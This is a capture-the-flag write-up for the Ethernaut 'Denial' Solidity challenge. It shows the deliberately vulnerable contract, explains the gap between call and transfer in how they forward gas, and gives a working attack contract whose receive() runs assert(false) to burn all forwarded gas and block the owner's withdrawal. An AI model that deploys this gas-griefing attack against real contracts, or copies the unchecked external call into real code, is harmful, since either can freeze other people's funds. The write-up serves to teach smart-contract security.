Ethernaut Level 20: Denial

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Requirements

  1. Deny owner from withdrawing funds when calling withdraw.

Concepts

Hack

Examining the function withdraw specifically at lines

partner.call{value:amountToSend}("");
owner.transfer(amountToSend);

we notice that 2 different methods of transfer is used, call and transfer. An important difference between them is how they handle gas. call forwards all the gas or set gas meanwhile transfer forwards 2300 gas. This is important because if we are able to drain out all the gas in the call function, we can prevent transfer from executing.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract DenialAttack {
    receive() external payable {
        assert(false);
    }
}

We create a malicious contract that will become the partner of the Denial smart contract. This will have a fallback function that will use up all the gas sent to it. This is possible using the assert error handling.

It compiles to 0xfe, which is an invalid opcode, using up all remaining gas, and reverting all changes.

After deploying the DenialAttack, we execute the following command.

await contract.setWithdrawPartner(DenialAttackAddress)

When the owner attempts to transfer funds to their account, it will fail because all the gas is used up by then.

Done!